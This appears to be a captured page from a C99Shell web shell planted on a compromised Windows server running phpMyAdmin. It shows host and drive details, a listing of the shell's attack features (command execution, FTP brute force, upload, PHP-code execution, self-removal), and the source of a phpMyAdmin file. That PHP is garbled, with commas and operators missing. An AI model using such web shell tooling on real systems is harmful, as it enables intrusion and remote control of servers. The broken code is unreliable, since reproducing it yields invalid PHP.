!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\phpMyAdmin\   drwxrwxrwx
Free 1.23 GB of 239.26 GB (0.51%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pmd_relation_upd.php (2.14 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * PMD relation update handler
 *
 * @package PhpMyAdmin-Designer
 */

/**
 *
 */
require_once './libraries/common.inc.php';

PMA_Response::getInstance()->disable();

require_once 
'libraries/pmd_common.php';
extract($_POSTEXTR_SKIP);
extract($_GETEXTR_SKIP);
$die_save_pos 0;
require_once 
'pmd_save_pos.php';
list(
$DB1$T1) = explode("."$T1);
list(
$DB2$T2) = explode("."$T2);

$tables $GLOBALS['dbi']->getTablesFull($db$T1);
$type_T1 strtoupper($tables[$T1]['ENGINE']);
$tables $GLOBALS['dbi']->getTablesFull($db$T2);
$type_T2 strtoupper($tables[$T2]['ENGINE']);

$try_to_delete_internal_relation false;

if (
PMA_Util::isForeignKeySupported($type_T1)
    && 
PMA_Util::isForeignKeySupported($type_T2)
    && 
$type_T1 == $type_T2
) {
    
// InnoDB
    
$existrel_foreign PMA_getForeigners($DB2$T2'''foreign');

    if (isset(
$existrel_foreign[$F2]['constraint'])) {
        
$upd_query  'ALTER TABLE ' PMA_Util::backquote($DB2)
            . 
'.' PMA_Util::backquote($T2) . ' DROP FOREIGN KEY '
            
PMA_Util::backquote($existrel_foreign[$F2]['constraint'])
            . 
';';
        
$upd_rs     $GLOBALS['dbi']->query($upd_query);
    } else {
        
// there can be an internal relation even if InnoDB
        
$try_to_delete_internal_relation true;
    }
} else {
    
$try_to_delete_internal_relation true;
}
if (
$try_to_delete_internal_relation) {
    
// internal relations
    
PMA_queryAsControlUser(
        
'DELETE FROM '
        
PMA_Util::backquote($GLOBALS['cfgRelation']['db']) . '.'
        
$cfg['Server']['relation'] . ' WHERE '
        
'master_db = \'' PMA_Util::sqlAddSlashes($DB2) . '\''
        
' AND master_table = \'' PMA_Util::sqlAddSlashes($T2) . '\''
        
' AND master_field = \'' PMA_Util::sqlAddSlashes($F2) . '\''
        
' AND foreign_db = \'' PMA_Util::sqlAddSlashes($DB1) . '\''
        
' AND foreign_table = \'' PMA_Util::sqlAddSlashes($T1) . '\''
        
' AND foreign_field = \'' PMA_Util::sqlAddSlashes($F1) . '\'',
        
false,
        
PMA_DatabaseInterface::QUERY_STORE
    
);
}
PMA_returnUpd(1__('Relation deleted'));

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--